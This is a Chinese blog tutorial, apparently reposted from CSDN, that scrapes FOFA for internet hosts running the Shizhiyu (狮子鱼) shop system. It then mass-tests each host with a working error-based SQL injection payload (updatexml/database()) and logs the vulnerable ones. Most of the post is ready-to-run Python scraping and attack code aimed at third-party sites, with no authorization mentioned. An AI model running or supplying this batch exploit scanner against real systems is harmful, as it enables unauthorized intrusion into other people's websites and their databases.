开发实战(6)--对fofa收集的漏洞资产使用poc进行批量验证

简介: 主要还是围绕渗透测试的流程进行开发,一般在信息收集后,在渗透测试后,在发现通用型漏洞时,我们为了节省时间,可以通过写批量脚本来信息收集,然后使用poc来进行批量验证,本篇是一个编写批量验证python的示例.

前言

版权声明:本文为本博主在CSDN的原创文章搬运而来,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。                            

原文链接:https://blog.csdn.net/weixin_72543266/article/details/138048042

       主要还是围绕渗透测试的流程进行开发,一般在信息收集后,在渗透测试后,在发现通用型漏洞时,我们为了节省时间,可以通过写批量脚本来信息收集,然后使用poc来进行批量验证.

       紧接着上一篇文章西了一个使用fofa脚本突破注册会员限制进行信息爬取.但是对收集的CVE-2019-2725 weblogic 未授权远程代码的信息进行批量验证时发现,收集的信息居然一个漏洞都没有

可能是因为漏洞出现太早了被别人刷没了,所以没有了,所以用之前写的狮子鱼批量监测作为演示吧,算是一个编写通用脚本的演示,这个现在漏洞存在还挺多的

1.FOFA收集漏洞信息语法:

1.1.收集语法及解释

     这里解释一下语法的意思,其实是搜索,URL出含有下面语句的资产,狮子鱼的开发时的特征

"/seller.php?s=/Public/login"

image.gif

image.gif 编辑  

1.2.构造XPath匹配

image.gif

这里直接构造xpath提取

//span[@class="hsxa-host"]/a/@href


1.3.进行fofa一页的信息收集  

这个是怎么写的,以及,如何突破注册会员限制进行超过5页的信息爬取,在我上一篇文章中有提及

# -*- coding: utf-8 -*-
import requests
import base64
from lxml import etree
fofa_url = 'https://fofa.info/result?qbase64='
search_worlds = '"/seller.php?s=/Public/login"'
search_worlds_base64 = base64.b64encode(search_worlds.encode('utf-8')).decode('utf-8')
url = str(fofa_url + search_worlds_base64)
# print(url)
# 使用verify=false会出现waring警告,去掉警告用下面这条语句
requests.packages.urllib3.disable_warnings()
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0',
    'Cookie': ''  # 填入自己的cookie,不知道看我上一篇文章怎么获得
}
result = requests.get(url, headers=headers, verify=False)
# data = result.content.decode('utf-8')
# 虽然还是会导致出现的返回的文本中出现乱码,但是可以进行处理
data = result.content.decode('gbk', errors='ignore')
# print(data)
html = etree.HTML(data)
# IPaddrs = html.xpath('//div[@class="hsxa-meta-data-item"]/div[@class="hsxa-clearfix hsxa-meta-data-list-revision-lv1"]/div[@class="hsxa-fl hsxa-meta-data-list-lv1-lf"]/span[@class="hsxa-host"]/text()')
IPaddrs = html.xpath('//span[@class="hsxa-host"]/a/@href')
print(IPaddrs)

image.gif

image.gif

2.登录界面

2.1后台登录界面(一般)

image.gif

2.2后台登录界面(特殊)

今天测试时,意外发现的不同页面

image.gif

3.编写验证脚本

3.1 熟悉漏洞poc

               看了下面的poc,学过sql注入的师傅肯定很清楚,就是sql里面的报错注入

/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)

image.gif

3.2 如何进行验证呢

直接将漏洞poc与我们上面收集的资产直接进行拼接就可以了,如果出现报错页面,那么代表存在漏洞,但是在今天验证的时候,出现的问题,在第二次验证的时候又消失了,等碰到再改脚本吧

                       看报错页面,关键部分就是出现一个syntax和一个数据库名

image.gif

3.3. 进行编写

我把需要编写的几个部分进行拆分一下,方便学习的师傅进行理解

进行存储验证poc的变量

payload = "/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)"

image.gif

3.1.2.拼接部分

就是将收集的资产与payload进行拼接起来的函数,以及写的headers的作用是避免反爬机制,传入的url是从,收集资产的txt文件中,将每条信息进行传入,然后进行后续的拼接.

def POC(url):
    target_url = url + payload
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) "
                      "Chrome/86.0.4240.111 Safari/537.36",
    }

image.gif

3.1.3.请求与验证部分

       使用try-except的作用是,如果出现超时,或是错误其他一些错误信息时,可以避免,因为爆破而停止对资产的验证,因为验证方式是使用拼接代表使用get请求进行请求,下面就是将前面写的构造好的url,请求头,以及超时填入.用了if判断是通过判断,前面图中,出现爆破页面后,图中出现明显的sql注入报错词syntax,后确定为存在报错注入,避免因为其他报错,而出现误报,其他错误就显示请求失败.

try:
        response = requests.get(url=target_url, headers=headers, verify=False, timeout=10)
        print("正在测试:", target_url)
        if "syntax" in response.text:
            print("上述地址存在SQL注入")
            return url
    except Exception as e:
        print("请求失败!")

image.gif

 3.1.4.传入与保存

     通过个人比较喜欢使用的with--open格式进行编写,其实是为了避免遗忘关闭文件,下面就是将资产中存在请求协议的资产进行传入,进行拼接,当然对于没有的资产,我其实是写了一个脚本进行处理的,因为我写的通过fofa搜集的资产是没有请求协议的.最后,将返回结果不为空的存在漏洞资产进行保存.

with open("狮子鱼SQL.txt", "r") as f:
        results = f.readlines()
    for result in results:
        if ("http" or "https") in result:
            url = result.strip()
            SQL = POC(url)
            with open("存在狮子鱼SQL注入.txt", "a+") as f:
                if "None" not in str(SQL):
                    f.write(str(SQL) + "\n")

image.gif

 3.1.5.对fofa收集的狮子鱼资产进行筛选和处理

# 链接处理脚本
# 打开要处理的文件
with open("url.txt", "r") as f:
    # 进行处理后进行存储的文本
    f1 = open("new_url.txt", "w")
    for url in f:
        if url.startswith("https"):
            # 包含协议的ip
            # 将url进行分割,取出协议部分,去除端口部分,并添加"/",最后去掉没一行的换行
            new_url = ((url.split(":")[0] + ":" + url.split(":")[1]).strip() + "/").strip()
            # print(new_url)
            #
            f1.write(new_url + "\n")
        else:
            # 给不含协议的ip,去除端口部分,并添加协议和"/"
            # 这里因为在组成http协议的链接后会自动换行,所以先去掉换行,然后进行组成
            new_url = (("http://" + url.split(":")[0]).strip() + "/").strip()
            # print(new_url)
            f1.write(new_url + "\n")
print("!!!链接已处理完毕!!!")

其中url.txt中就是是用我写的fofa脚本进行收集的资产,新的是处理后的资产

 3.1.5.完整代码

# -*- coding:utf-8 -*-
import requests
import urllib3
urllib3.disable_warnings()  # 忽略https证书告警
payload = "/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)"
def POC(url):
    target_url = url + payload
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) "
                      "Chrome/86.0.4240.111 Safari/537.36",
    }
    try:
        response = requests.get(url=target_url, headers=headers, verify=False, timeout=10)
        print("正在测试:", target_url)
        if "syntax" in response.text:
            print("上述地址存在SQL注入")
            return url
    except Exception as e:
        print("请求失败!")
if __name__ == '__main__':
    with open("狮子鱼SQL.txt", "r") as f:
        results = f.readlines()
    for result in results:
        if ("http" or "https") in result:
            url = result.strip()
            SQL = POC(url)
            with open("存在狮子鱼SQL注入.txt", "a+") as f:
                if "None" not in str(SQL):
                    f.write(str(SQL) + "\n")

image.gif

总结

 对收集的漏洞信息进行批量监测的一个通用脚本,本质是可以做一个通用的漏洞批量监测的通用模板,可惜的是没有成功获得可以进行测试的weblogic的资产,但是还是发现狮子鱼确实漏洞资产很多可以进行验证.

相关文章
|
安全 前端开发 JavaScript
信息服务上线渗透检测网络安全检查报告和解决方案2(安装文件信息泄漏、管理路径泄漏、XSS漏洞、弱口令、逻辑漏洞、终极上传漏洞升级)
信息服务上线渗透检测网络安全检查报告和解决方案2(安装文件信息泄漏、管理路径泄漏、XSS漏洞、弱口令、逻辑漏洞、终极上传漏洞升级)
237 0
|
7月前
|
XML 安全 网络安全
开发实战(5)--如何编写fofa脚本进行资产的信息收集
主要还是围绕渗透测试的流程进行开发,一般在信息收集后,在渗透测试后,在发现通用型漏洞时,我们为了节省时间,可以通过写批量脚本来信息收集,然后使用poc来进行批量验证. 作为一个fofa工程师,那么我们当然是使用fofa进行信息搜集喽,刚好也借着这个机会熟悉一下fofa的API文档,为后面写利用工具做好铺垫
130 0
|
7月前
爆破、批量PoC扫描工具 -- POC-T
爆破、批量PoC扫描工具 -- POC-T
45 0
LIS系统源码:涵盖实验室的全部管理流程,包括从检验申请、标本采集、实验检测、报告发布等
1)与HIS系统无缝对接,共享缴费信息,生成检验申请单。 2)通过条形码、手工添加、电子申请单等多种方式录入样本。 3)自动接收检验结果,并根据患者的标本、年龄、性别等判断结果异常状态。 4)危急值提示,批量审核、打印,质控样本等功能协助医生更好的开展检验工作。 5)操作多台设备,自由切换,和操作单台设备一样。
137 0
|
Web App开发 JSON 安全
【漏洞复现】Yapi接口管理平台远程代码执行漏洞
Yapi接口管理平台远程代码执行漏洞,攻击者可通过特定Payload对目标实施恶意攻击,获取敏感信息,操控服务器指令。
673 1
|
安全 小程序 测试技术
关于近期小程序测试的常见漏洞演示
本章节将为大家介绍一下小程序常见的漏洞的展示案例,包括支付业务逻辑漏洞、任意用户登录漏洞、水平越权漏洞等高危漏洞
|
安全 Python
漏洞批量验证框架 -- BLEN
漏洞批量验证框架 -- BLEN
150 0
漏洞批量验证框架 -- BLEN
|
供应链 安全
一键检测你的代码项目中的开源软件供应链安全风险,快速导出报告
一键检测你的代码项目中的开源软件供应链安全风险,快速导出报告
一键检测你的代码项目中的开源软件供应链安全风险,快速导出报告
|
安全 Oracle 网络协议
[Web安全]信息收集(上)
[Web安全]信息收集
178 0
[Web安全]信息收集(上)
|
安全 搜索推荐 机器人
[Web安全]信息收集(下)
[Web安全]信息收集
141 0
 [Web安全]信息收集(下)